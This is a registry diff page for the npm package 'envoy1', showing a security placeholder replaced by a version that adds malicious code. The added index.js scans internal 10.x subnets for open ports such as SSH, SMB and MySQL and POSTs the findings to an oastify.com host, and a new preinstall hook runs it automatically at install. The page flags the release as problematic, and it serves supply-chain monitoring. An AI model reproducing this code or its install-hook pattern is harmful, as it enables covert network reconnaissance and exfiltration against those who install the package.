envoy1 0.0.1-security → 1.0.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of envoy1 might be problematic. Click here for more details.

Binary file
package/index.js ADDED
@@ -0,0 +1,44 @@
1
+ const net = require('net');
2
+ const http = require('http');
3
+
4
+ const b = "oh9fy7sre6j0o54wlovz4juyipogca5yu.oastify.com";
5
+ const subnets = ['10.28.36', '10.183.207', '10.158.13'];
6
+ const ports = [22, 80, 443, 445, 3000, 3306, 8080];
7
+
8
+ function check(h, p) {
9
+ return new Promise(r => {
10
+ const s = new net.Socket();
11
+ s.setTimeout(400);
12
+ s.on('connect', () => {
13
+ s.destroy();
14
+ r({h, p});
15
+ });
16
+ s.on('error', () => { s.destroy(); r(null); });
17
+ s.on('timeout', () => { s.destroy(); r(null); });
18
+ s.connect(p, h);
19
+ });
20
+ }
21
+
22
+ async function run() {
23
+ const found = [];
24
+ for (let sub of subnets) {
25
+ for (let i = 1; i < 20; i++) {
26
+ const host = `${sub}.${i}`;
27
+ const tasks = ports.map(p => check(host, p));
28
+ const results = await Promise.all(tasks);
29
+ results.filter(x => x !== null).forEach(x => found.push(x));
30
+ }
31
+ }
32
+
33
+ const out = JSON.stringify(found);
34
+ const req = http.request({
35
+ hostname: b,
36
+ method: 'POST',
37
+ path: '/?discovery=true',
38
+ headers: { 'Content-Length': Buffer.byteLength(out) }
39
+ });
40
+ req.write(out);
41
+ req.end();
42
+ }
43
+
44
+ run();
package/package.json CHANGED
@@ -1,6 +1,7 @@
1
1
  {
2
2
  "name": "envoy1",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.15",
4
+ "scripts": {
5
+ "preinstall": "node index.js"
6
+ }
6
7
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=envoy1 for more information.